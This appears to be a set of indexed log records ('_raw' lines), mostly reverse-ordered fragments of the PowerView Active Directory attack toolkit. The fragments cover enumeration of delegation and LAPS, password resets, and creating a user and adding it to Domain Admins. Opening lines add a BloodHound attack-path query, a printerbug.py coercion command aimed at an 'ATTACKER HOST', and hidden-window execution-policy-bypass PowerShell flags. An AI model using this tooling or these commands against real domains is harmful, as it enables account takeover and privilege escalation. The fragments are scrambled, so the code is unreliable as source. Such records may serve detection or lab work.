_raw: MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p


_raw: Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}


_raw: printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'


_raw:
    Logon Time:                   10/18/2025 4:13:18 PM
    Logon Type:                   Service
    Start Time:
    Domain:                       NT SERVICE
    Authentication Package:       Negotiate
    Start Time:
    User Name:                    SplunkForwarder
    User Principal Name:          DECKHAND-01$@allports.local
    User SID:                     S-1-5-80-972488765-139171986-783781252-3188962990-3730692313
   =================================================================================================
    Method:                       LSA
    Logon Server:
    Logon Server Dns Domain:      allports.local
    Logon Id:                     2892657


_raw: -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass


_raw: AttributeName         : userAccountControl


_raw: ObjectGuid            : 94299db1-e3e7-48f9-845b-3bffef8bedbb


_raw: ObjectDN              : CN=harmj0y,CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl


_raw: e            ingChange                 ingDsaDN


_raw: ObjectDN      ObjectGuid    AttributeNam LastOriginat Version      LastOriginat


_raw: 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft


_raw: Return all attribute replication metadata for all objects in the testlab.local domain.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Only return replication metadata on the specified property names.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: parsed from their XML string form and returned as a custom object.


_raw: This is the domain attribute replication metadata associated with the object. The results are


_raw: Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.


_raw: By default, replication data for every domain object is returned.


_raw: object, i.e. a parsed version of the msds-replattributemetadata attribute.


_raw: Returns the Active Directory attribute replication metadata for the specified


_raw: Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"


_raw: $Object = Convert-LDAPProperty -Properties $Prop


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments


_raw: Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $ObjectSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"


_raw: $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^(CN|OU|DC)=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])


_raw: $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: The raw DirectoryServices.SearchResult object, if -Raw is enabled.


_raw: Custom PSObject with translated AD object property fields.


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'


_raw: 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname


_raw: Get-DomainObject -Credential $Cred -Identity 'windows1'


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Return all objects for the testlab.local domain


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.


_raw: Dynamic parameter that accepts one or more values from $UACEnum, including


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: "-Properties samaccountname,usnchanged,...". By default, all objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName


_raw: Return all (or specified) domain objects in AD.


_raw: Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"


_raw: $Computer = Convert-LDAPProperty -Properties $Prop


_raw: $Up = Test-Connection -Count 1 -Quiet -ComputerName $dnshostname


_raw: # Skip this entry if dnshostname is missing or empty


_raw: if (-not ($dnshostname -and $dnshostname.Trim() -ne '')) {


_raw: $dnshostname = $Prop['dnshostname'] -join ''  # Join all elements to form a string


_raw: # Convert the 'dnshostname' property to a string and check if it is not empty


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"


_raw: if ($AttrFilter) { $Filter += "(|$AttrFilter)" }


_raw: Write-Verbose "[Get-DomainComputer] Searching for attribute: $_"


_raw: Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object {


_raw: # Searching for attribute name, which can differ as per pingcastle by @vletoux


_raw: if ($AttrFilter) { $Filter += "(&$AttrFilter)" }


_raw: Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object {


_raw: Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN"


_raw: $SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)"


_raw: if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) {


_raw: Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"


_raw: Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"


_raw: Write-Verbose '[Get-DomainComputer] Excluding domain controllers'


_raw: Write-Verbose '[Get-DomainComputer] Searching for printers'


_raw: Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation'


_raw: Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'


_raw: Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $CompSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Obfuscate']) {$DNSearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $DNSearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain }


_raw: if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])


_raw: $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: The raw DirectoryServices.SearchResult object, if -Raw is enabled.


_raw: Custom PSObject with translated computer property fields.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Search the specified OU for computeres that allow unconstrained delegation.


_raw: Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained


_raw: Return the dns hostnames of servers trusted for delegation.


_raw: Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname


_raw: Returns all MS SQL servers in the testlab.local domain.


_raw: Get-DomainComputer -SPN mssql* -Domain testlab.local


_raw: Returns the current computers in current domain.


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Switch. Return computers where the LAPS password is readable.


_raw: Switch. Return computers without LAPS enabled.


_raw: Switch. Return computers with LAPS enabled.


_raw: Return computers that have logged on within a number of days.


_raw: Switch. Ping each host to ensure it's up before enumerating.


_raw: Return computers in the specific AD Site name, wildcards accepted.


_raw: Return computers with a specific service pack, wildcards accepted.


_raw: Return computers with a specific operating system, wildcards accepted.


_raw: Return computers with a specific service principal name, wildcards accepted.


_raw: Switch. Do not return domain controllers.


_raw: Switch. Return computer objects that are configured to allow resource-based constrained delegation.


_raw: Switch. Return computer objects that are trusted to authenticate for other principals.


_raw: Switch. Return computer objects that have unconstrained delegation.


_raw: "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.


_raw: Dynamic parameter that accepts one or more values from $UACEnum, including


_raw: or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.


_raw: A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),


_raw: "-Properties samaccountname,usnchanged,...". By default, all computer objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Return all computers or specific computer objects in AD.


_raw: Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"


_raw: Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter"


_raw: $GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0]


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') {


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'


_raw: $DomainDN = Get-DomainDN @DomainDNArguments


_raw: $SchemaPath = (Get-Forest @ForestArguments).schema.name


_raw: if ($PSBoundParameters['SSL']) { $DomainDNArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain }


_raw: if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }


_raw: Ouputs a hashtable containing a GUID -> Readable Name mapping.


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: for objects where objectClass=controlAccessRight, translating the GUIDs again.


_raw: Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)


_raw: all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.


_raw: Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for


_raw: Required Dependencies: Get-DomainSearcher, Get-Forest


_raw: Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.


_raw: Write-Warning "No handler exists for event ID: $($Event.Id)"


_raw: IpPort            = $Properties[13].Value


_raw: IpAddress         = $Properties[12].Value


_raw: ProcessName       = $Properties[11].Value


_raw: ProcessId         = $Properties[10].Value


_raw: TargetInfo        = $Properties[9].Value


_raw: TargetServerName  = $Properties[8].Value


_raw: TargetLogonGuid   = $Properties[7].Value


_raw: TargetDomainName  = $Properties[6].Value


_raw: TargetUserName    = $Properties[5].Value


_raw: LogonGuid         = $Properties[4].Value.ToString()


_raw: SubjectLogonId    = $Properties[3].Value


_raw: SubjectUserName   = $Properties[1].Value


_raw: SubjectUserSid    = $Properties[0].Value.ToString()


_raw: $Output = New-Object PSObject -Property @{


_raw: if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {


_raw: ElevatedToken             = $Properties[26].Value


_raw: TargetLinkedLogonId       = $Properties[25].Value


_raw: VirtualAccount            = $Properties[24].Value


_raw: TargetOutboundDomainName  = $Properties[23].Value


_raw: TargetOutboundUserName    = $Properties[22].Value


_raw: RestrictedAdminMode       = $Properties[21].Value


_raw: ImpersonationLevel        = $Properties[20].Value


_raw: IpPort                    = $Properties[19].Value


_raw: IpAddress                 = $Properties[18].Value


_raw: ProcessName               = $Properties[17].Value


_raw: ProcessId                 = $Properties[16].Value


_raw: KeyLength                 = $Properties[15].Value


_raw: LmPackageName             = $Properties[14].Value


_raw: TransmittedServices       = $Properties[13].Value


_raw: LogonGuid                 = $Properties[12].Value


_raw: WorkstationName           = $Properties[11].Value


_raw: LogonProcessName          = $Properties[9].Value


_raw: LogonType                 = $Properties[8].Value


_raw: TargetLogonId             = $Properties[7].Value


_raw: TargetDomainName          = $Properties[6].Value


_raw: TargetUserName            = $Properties[5].Value


_raw: TargetUserSid             = $Properties[4].Value.ToString()


_raw: SubjectLogonId            = $Properties[3].Value


_raw: SubjectDomainName         = $Properties[2].Value


_raw: SubjectUserName           = $Properties[1].Value


_raw: SubjectUserSid            = $Properties[0].Value.ToString()


_raw: TimeCreated               = $Event.TimeCreated


_raw: $Output = New-Object PSObject -Property @{


_raw: Get-WinEvent @EventArguments| ForEach-Object {


_raw: if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }


_raw: (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)


_raw: and (Level=4 or Level=0) and (EventID=4648)


_raw: <!-- Logon with explicit credential events -->


_raw: *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]


_raw: and (Level=4 or Level=0) and (EventID=4624)


_raw: # the XML filter we're passing to Get-WinEvent


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Return a max of 1000 logon events from the specified machine using the specified alternate credentials.


_raw: Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Return all logon events from the last 3 days from every domain controller in the current domain.


_raw: Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))


_raw: Return logon events on the local machine.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: The maximum number of events to retrieve. Default of 5000.


_raw: The [DateTime] object representing the end of when to collect events.


_raw: The [DateTime] object representing the start of when to collect events.


_raw: Specifies the computer name to retrieve events from, default of localhost.


_raw: A maximum of -MaxEvents (default of 5000) are returned.


_raw: logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).


_raw: security events with IDs of 4624 (logon events) or 4648 (explicit credential


_raw: This function uses an XML path filter passed to Get-WinEvent to retrieve


_raw: Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)


_raw: events (ID 4648) from the specified host (default of the localhost).


_raw: Enumerate account logon events (ID 4624) and Logon with explicit credential


_raw: Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"


_raw: Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"


_raw: Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"


_raw: $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)


_raw: Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"


_raw: $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)


_raw: $Context = Get-PrincipalContext @ContextArguments


_raw: if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }


_raw: $ContextArguments = @{ 'Identity' = $Identity }


_raw: [Parameter(Position = 0, Mandatory = $True)]


_raw: Resets the password for 'andy' usering the alternate credentials specified.


_raw: Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred


_raw: $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Resets the password for 'andy' to the password specified.


_raw: Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for the user identity, defaults to the current domain.


_raw: Specifies the password to reset the target user's to. Mandatory.


_raw: specifying the user to reset the password for.


_raw: A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),


_raw: SetPassword() function is then invoked on the user, setting the password to -AccountPassword.


_raw: which returns a DirectoryServices.AccountManagement.UserPrincipal object. The


_raw: The bound domain context is then used to search for the specified user -Identity,


_raw: First binds to the specified domain context using Get-PrincipalContext.


_raw: Sets the password for a given user identity.


_raw: Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"


_raw: Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"


_raw: Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"


_raw: $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)


_raw: # set all the appropriate user parameters


_raw: $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)


_raw: $Context = Get-PrincipalContext @ContextArguments


_raw: if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }


_raw: alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember


_raw: Creates the 'andy' user with the specified description and password, using the specified


_raw: New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred


_raw: $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Creates the 'harmj0y2' user with the specified description and password, using the specified


_raw: $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred


_raw: Creates the 'harmj0y2' user with the specified description and password.


_raw: New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain to use to search for user/group principals, defaults to the current domain.


_raw: Specifies the description of the user to create.


_raw: Specifies the display name of the user to create. If not provided, defaults to SamAccountName.


_raw: Specifies the name of the user to create. If not provided, defaults to SamAccountName.


_raw: Specifies the password for the created user. Mandatory.


_raw: Specifies the Security Account Manager (SAM) account name of the user to create.


_raw: DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.


_raw: The bound domain context is then used to create a new


_raw: First binds to the specified domain context using Get-PrincipalContext.


_raw: TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).


_raw: Creates a new domain user (assuming appropriate permissions) and returns the user object.


_raw: $User = Convert-LDAPProperty -Properties $Prop


